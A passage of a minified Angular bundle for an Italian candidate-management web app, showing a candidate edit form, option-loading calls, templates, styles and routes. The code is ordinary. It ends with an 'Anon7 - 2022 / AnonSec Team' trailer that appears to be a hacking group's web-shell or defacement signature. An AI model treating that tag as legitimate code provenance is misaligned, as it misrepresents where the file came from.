e.distanza-t.distanza})).length&&n[0]&&(s.currentStep=n[0].step)},this.configurazioneTimeline=[{step:"anagrafica",name:"Anagrafica"},{step:"educations",name:"Istruzione"},{step:"languages",name:"Lingue"},{step:"skills",name:"Skills"},{step:"soft-skills",name:"Soft Skills"},{step:"trainings",name:"Formazione"},{step:"experiences",name:"Esperienza"},{step:"attachments",name:"Allegati"},{step:"interviews",name:"Colloquio"},{step:"events",name:"Eventi"},{step:"comments",name:"Commenti"}],this.commentsMessages=[],this.commentsFields={text:"content",time:"created_at",senderMail:"email",senderName:"name_surname",senderTitle:"job_title"},this.fb=t,this.currentUserMail=this.authorizationService.getUserFromToken().data.email;var d=this.authorizationService.getUserFromToken().data.name,m=this.authorizationService.getUserFromToken().data.surname;this.currentUserName=d+" "+m,this.currentUserTitle=this.authorizationService.getUserFromToken().data.jobtitle,this.initForm(),this.initOptions(),this.setFormData(),this.setOptionsData(),window.insertform=this.insertForm}return m(e,[{key:"setCurrentStep",value:function(e){var t=document.querySelector("#".concat(e," div"));window.scrollTo(0,t.offsetTop),this.currentStep=e}},{key:"ngOnInit",value:function(){window.addEventListener("scroll",this.scrollHandler,!0),window.insertForm=this.insertForm}},{key:"ngOnDestroy",value:function(){}},{key:"updateForm",value:function(e,t){this.insertForm.get(t).setValue(e)}},{key:"componentDestroyed",value:function(e,t){this.insertForm.addControl(t,e)}},{key:"initForm",value:function(){this.insertForm=this.fb.group({anagrafica:[""],educations:[""],languages:[""],skills:[""],softSkills:[""],trainings:[""],experiences:[""],attachments:[""],interviews:[""],events:[""]})}},{key:"initOptions",value:function(){this.anagraficaFormOptions={jobTitleOption:[],recruitmentOptions:[],geographicOptions:[],cityOptions:[],cityOptionsFiltered:[],birthCityOptionsFiltered:[],ruoloFromDB:[],regionsOptions:[],nationOptions:[],mobilitazioneOptions:[],statusOptions:[],valutazioneOptions:[]},this.istruzioneFormOptions={educOptions:[],educLevelOptions:[],educTitlesOptions:[],regions:[],cityOptions:[],schoolsFiltered:[]},this.lingueFormOptions={languagesListOpt:[],languagesLevelOpt:[]},this.skillsFormOptions={industryListOpt:[],macroAreaListOpt:[],categoriesOptions:[],subCategoriesOptions:[],skillsOptions:[]},this.formazioneFormOptions={issuersListOpt:[]},this.esperienzaFormOptions={industryListOpt:[]},this.allegatiFormOptions={categoryOptions:[]},this.colloquioFormOptions={type_interview_options:[],industryListOpt:[],livelloOptions:[],valutazioneOptions:[]},this.eventoFormOptions={tipologiaOption:[]}}},{key:"setOptionsData",value:function(){var e=this;this.utilsService.getAllMobilitazioneOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.mobilitazioneOptions=t.message)})).subscribe(),this.utilsService.getAllJobTitles().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.jobTitleOption=t.message)})).subscribe(),this.utilsService.getAllRecruitmentOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.recruitmentOptions=t.message)})).subscribe(),this.utilsService.getAllGeographicOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.geographicOptions=t.message)})).subscribe(),this.candidateService.getStatus().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.statusOptions=t.message,t.message.forEach(function(t){e.configurazioneWizard.push({step:t.id_status,name:t.status})}),null==e.currentStatus&&e.configurazioneWizard.forEach(function(t){t.name==e.candidateStatus&&(e.currentStatus=t.step)}))})).subscribe(),this.utilsService.getAllValutazioneOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.valutazioneOptions=t.message,e.colloquioFormOptions.valutazioneOptions=t.message)})).subscribe(),this.utilsService.getAllEducationNameOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.istruzioneFormOptions.educOptions=t.message)})).subscribe(),this.utilsService.getAllEducationLevelOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.istruzioneFormOptions.educLevelOptions=t.message)})).subscribe(),this.utilsService.getAllEducationTitleOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.istruzioneFormOptions.educTitlesOptions=t.message)})).subscribe(),this.utilsService.getAllLanguagesLevelOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.lingueFormOptions.languagesLevelOpt=t.message)})).subscribe(),this.utilsService.getAllFormazioneIssuerOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.formazioneFormOptions.issuersListOpt=t.message)})).subscribe(),this.utilsService.getAllegatiCategoryOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.allegatiFormOptions.categoryOptions=t.message)})).subscribe(),this.utilsService.getAllColloquioInterviewOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.colloquioFormOptions.type_interview_options=t.message)})).subscribe(),this.utilsService.getAllColloquioLevelOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.colloquioFormOptions.livelloOptions=t.message)})).subscribe(),this.utilsService.getAllIndustryOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.skillsFormOptions.industryListOpt=t.message,e.esperienzaFormOptions.industryListOpt=t.message,e.colloquioFormOptions.industryListOpt=t.message)})).subscribe(),this.utilsService.getAllEventsOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.eventoFormOptions.tipologiaOption=t.message)})).subscribe(),this.utilsService.getCities().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.cityOptions=t.message.sort(function(e,t){return e.nome_comune.toLowerCase()>t.nome_comune.toLowerCase()?1:-1}),e.istruzioneFormOptions.cityOptions=JSON.parse(JSON.stringify(e.anagraficaFormOptions.cityOptions)))})).subscribe(),this.utilsService.getRegions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.regionsOptions=t.message.sort(function(e,t){return e.nome_regione.toLowerCase()>t.nome_regione.toLowerCase()?1:-1}),e.istruzioneFormOptions.regions=JSON.parse(JSON.stringify(e.anagraficaFormOptions.regionsOptions)))})).subscribe(),this.utilsService.getNations().pipe(Object(p.a)(),Object(f.a)(function(i){if(i.status){var n=[];n.push(i.message.find(function(e){return"italia"==e.nome.toLowerCase()})),n.push.apply(n,t(i.message.sort(function(e,t){return e.nome.toLowerCase()>t.nome.toLowerCase()?1:-1}).filter(function(e){return"italia"!=e.nome.toLowerCase()}))),e.anagraficaFormOptions.nationOptions=n}})).subscribe(),this.utilsService.getLanguagesList().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.lingueFormOptions.languagesListOpt=t.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}))})).subscribe(),this.utilsService.getMacroareas().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.skillsFormOptions.macroAreaListOpt=t.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}))})).subscribe(),this.utilsService.getCategories().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.skillsFormOptions.categoriesOptions=t.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}),e.skillsFormOptions.subCategoriesOptions=JSON.parse(JSON.stringify(e.skillsFormOptions.categoriesOptions)))})).subscribe(),this.utilsService.getSkills().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.skillsFormOptions.skillsOptions=t.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}))})).subscribe()}},{key:"setFormData",value:function(){var e=this;this.id_candidate=this.route.snapshot.params.id,this.candidateService.getCandidateById(this.id_candidate).subscribe(function(t){e.configurazioneWizard.forEach(function(i){i.name==t.message.status&&(e.currentStatus=i.step)}),e.setCandidateData(t.message)},function(e){console.error("Impossibile recuperare i dati",e)}),this.candidateService.readCandidateComments(this.id_candidate).subscribe(function(t){console.info("Got messages: ",t.message),e.commentsMessages=t.status?t.message:[]})}},{key:"setCandidateData",value:function(e){var t=this;this.candidateName=e.name+" "+e.surname,this.candidateStatus=e.status;var i,n=c(this.formList);try{var a=function(){var n=i.value,a=t.insertForm.controls[n];e[n].forEach(function(e,i){var n=t.fb.group(e);a.controls.push(n)}),delete e[n]};for(n.s();!(i=n.n()).done;)a()}catch(o){n.e(o)}finally{n.f()}this.insertForm.get("anagrafica").patchValue(e),this.insertForm.get("softSkills").patchValue(e)}},{key:"updateIdFilesList",value:function(e){this.idFilesListToLoad=e}},{key:"backToCandidateList",value:function(){var e=this;Q.a.fire({title:"Sei sicuro di voler tornare alla lista dei candidati?",text:"Attenzione: Tornando alla lista dei candidati tutti i dati inseriti fin ora verrano persi.",footer:"Se vuoi prima salvare i tuoi dati clicca su  <b>Annulla</b> e poi sul pulsante in fondo alla pagina  <b>Salva</b>!",showDenyButton:!0,icon:"warning",confirmButtonText:"Vai alla Lista Candidati",denyButtonText:"Annulla"}).then(function(t){t.isConfirmed&&e.router.navigate(["/candidates"])})}},{key:"addFormGroup",value:function(e,t){this[t]&&this[t]instanceof C.h&&e.push(this[t])}},{key:"removeEmptyFormGroup",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],i=[];e.value.map(function(e,t){var n=!0;for(var a in e)if(e[a]&&""!=e[a]){n=!1;break}1==n&&i.push(t)});for(var n=0,a=0,o=i;a<o.length;a++){var r=o[a];(e.length>1||t)&&(e.removeAt(r-n),n++)}}},{key:"saveForm",value:function(){var e=this,t=Object.assign(Object.assign({id_candidate:this.id_candidate},this.insertForm.controls.anagrafica.value),this.insertForm.controls.softSkills.value);this.formList.forEach(function(i){t[i]=e.insertForm.controls[i].value||[]}),t.name&&t.surname&&t.email?this.candidateService.updateCandidate(t).subscribe(function(e){return console.log(e)}):this.growService.addError("I campi obbligatori non sono valorizzati!")}},{key:"createCandidateComment",value:function(e){e.id_candidate=this.route.snapshot.params.id,this.candidateService.createCandidateComment(e).subscribe(function(e){console.log("data",e)})}}]),e}()).\u0275fac=function(e){return new(e||aa)(z.Pb(C.e),z.Pb(v.a),z.Pb(d.f),z.Pb(d.a),z.Pb(U.a),z.Pb(V.a),z.Pb(y.a),z.Pb(O.a))},aa.\u0275cmp=z.Jb({type:aa,selectors:[["candidate-view-edit"]],decls:10,vars:6,consts:[[1,"row"],["class","col-12",4,"ngIf"],["class","col-md-2 d-none d-md-block d-lg-block d-xl-block",4,"ngIf"],[1,"col-md-3","order-md-2"],[1,"card","new-contact","position-sticky","navbar-gutter"],[1,"new-contact__header"],[1,"zmdi","zmdi-camera","new-contact__upload",3,"routerLink"],["alt","",1,"new-contact__img",3,"src"],["class","card-body text-right p-2 pb-3",4,"ngIf"],["class","col-md-7 order-md-1",4,"ngIf"],[1,"col-12"],[1,"card"],[1,"card-body","p-2"],[3,"config","currentStep"],[1,"col-md-2","d-none","d-md-block","d-lg-block","d-xl-block"],[1,"position-sticky","navbar-gutter"],[1,"pl-2","timeline-w"],[3,"config","currentStep","stepChange"],[1,"card-body","text-right","p-2","pb-3"],["class","btn btn-orange mod btn--icon-text text-center mr-1 mb-1",3,"tooltip","click",4,"ngIf"],["class","btn btn-orange mod btn--icon-text text-center",3,"tooltip","click",4,"ngIf"],["class","btn btn-orange mod btn--icon-text text-center ml-1 mr-1 mb-1",3,"tooltip","click",4,"ngIf"],[1,"btn","btn-orange","mod","btn--icon-text","text-center","mr-1","mb-1",3,"tooltip","click"],[1,"zmdi","zmdi-floppy"],[1,"btn","btn-orange","mod","btn--icon-text","text-center",3,"tooltip","click"],[1,"zmdi","zmdi-lock-open"],[1,"btn","btn-orange","mod","btn--icon-text","text-center","ml-1","mr-1","mb-1",3,"tooltip","click"],[1,"zmdi","zmdi-lock-outline"],[1,"col-md-7","order-md-1"],[1,"card-body"],[3,"formGroup"],["id","anagrafica","tabindex","1",3,"form","options","isInEdit","formChange"],["id","educations","tabindex","2","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","languages","tabindex","3","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","skills","tabindex","4","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","soft-skills","tabindex","5","rowStyle","mb-4",3,"form","isInEdit","formChange"],["id","trainings","tabindex","6","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","experiences","tabindex","7","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","attachments","tabindex","8","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","interviews","tabindex","9","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","events","tabindex","10",3,"form","options","removeEmpty","isInEdit","formChange"],["id","comments","tabindex","11",3,"messages","fields","senderMail","senderName","senderTitle","title","createCandidateComment"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Gc(1,Hn,4,2,"div",1),z.Gc(2,Zn,4,2,"div",2),z.Vb(3,"div",3),z.Vb(4,"div",4),z.Vb(5,"div",5),z.Qb(6,"a",6),z.Qb(7,"img",7),z.Ub(),z.Gc(8,ia,4,3,"div",8),z.Ub(),z.Ub(),z.Gc(9,na,17,48,"div",9),z.Ub()),2&e&&(z.Cb(1),z.nc("ngIf",0==t.isInChat),z.Cb(1),z.nc("ngIf",0==t.isInChat),z.Cb(4),z.nc("routerLink",null),z.Cb(1),z.nc("src",t.contactDefaultImg,z.Cc),z.Cb(1),z.nc("ngIf",0==t.isInChat),z.Cb(1),z.nc("ngIf",0==t.isInChat))},directives:[S.n,d.i,ce.a,Ci.a,L.a,C.w,C.o,C.i,Qi,Pi,$i,on,ln,pn,In,wn,Nn,jn,Yn],pipes:[E.c],styles:[".p0[_ngcontent-%COMP%]{padding:0}.m0[_ngcontent-%COMP%]{margin:0}.mod[_ngcontent-%COMP%]{background-color:#ffb81c;color:#000}@media (min-width:768px){.profile[_ngcontent-%COMP%]{display:flex;align-items:center;flex-direction:row}}@media (max-width:767.98px){.profile[_ngcontent-%COMP%]{margin-top:75px;text-align:center}}.profile__img[_ngcontent-%COMP%]{padding:5px;position:relative}.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{max-width:200px;border-radius:2px}@media (max-width:767.98px){.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{margin:-55px 0 -10px;width:120px;border:5px solid #fff;border-radius:50%}}.profile__img__edit[_ngcontent-%COMP%]{position:absolute;font-size:1.2rem;top:15px;left:15px;background-color:rgba(0,0,0,.4);width:30px;height:30px;line-height:30px;border-radius:50%;text-align:center;color:#fff}.profile__img__edit[_ngcontent-%COMP%]:hover{background-color:rgba(0,0,0,.65);color:#fff}.profile__info[_ngcontent-%COMP%]{padding:30px}.nav-tabs[_ngcontent-%COMP%]:not([class*=nav-tabs--])   .nav-link.active[_ngcontent-%COMP%]{color:orange;font-weight:700}.nav-tabs[_ngcontent-%COMP%]   .nav-link[_ngcontent-%COMP%]:before{background:orange}.wp-100[_ngcontent-%COMP%]{min-width:100px}.right[_ngcontent-%COMP%]{float:right;margin-right:1pt}.textareaCustom[_ngcontent-%COMP%]{min-height:60px;height:auto;max-height:40vh;overflow-y:hidden;word-wrap:break-word}.boxer-multiselect-modis[_ngcontent-%COMP%]{background:#ffb81c;box-sizing:border-box;border:#e9ecef;color:#000;cursor:pointer;font-size:13.5px;padding:12px;margin-bottom:2px}.i-delete-hover[_ngcontent-%COMP%]:hover{color:orange}.navbar-gutter[_ngcontent-%COMP%]{top:100px}hr[_ngcontent-%COMP%]{margin-top:2rem;margin-bottom:3rem;border:0;border-top:1px solid orange}.btn-modis[_ngcontent-%COMP%]{border:1px solid #ffb81c}.btn--action[_ngcontent-%COMP%]{color:#000!important}.btn--action[_ngcontent-%COMP%]:hover{color:#fff!important}.btn-wrapper[_ngcontent-%COMP%]{z-index:2;position:sticky;height:50px;bottom:30px;right:30px}.btn-custom[_ngcontent-%COMP%], btn-custom-bigger[_ngcontent-%COMP%]{height:50px;width:50px;padding:0;border-radius:50%;font-size:20px;cursor:pointer;box-shadow:0 4px 3px -2px rgba(0,0,0,.15),0 2px 2px 0 rgba(0,0,0,.04),0 1px 5px 0 rgba(0,0,0,.02)!important}btn-custom-bigger[_ngcontent-%COMP%]{border-radius:3px;width:225px}"]}),aa),ca=[{path:"",component:re},{path:"insert",component:vi},{path:"edit-candidate/:id",component:ra}],la=((oa=function e(){b(this,e)}).\u0275fac=function(e){return new(e||oa)},oa.\u0275mod=z.Nb({type:oa,bootstrap:[re,vi,ra]}),oa.\u0275inj=z.Mb({imports:[[u.a,g.b,d.j.forChild(ca)]]}),oa)}}])}();

Anon7 - 2022
AnonSec Team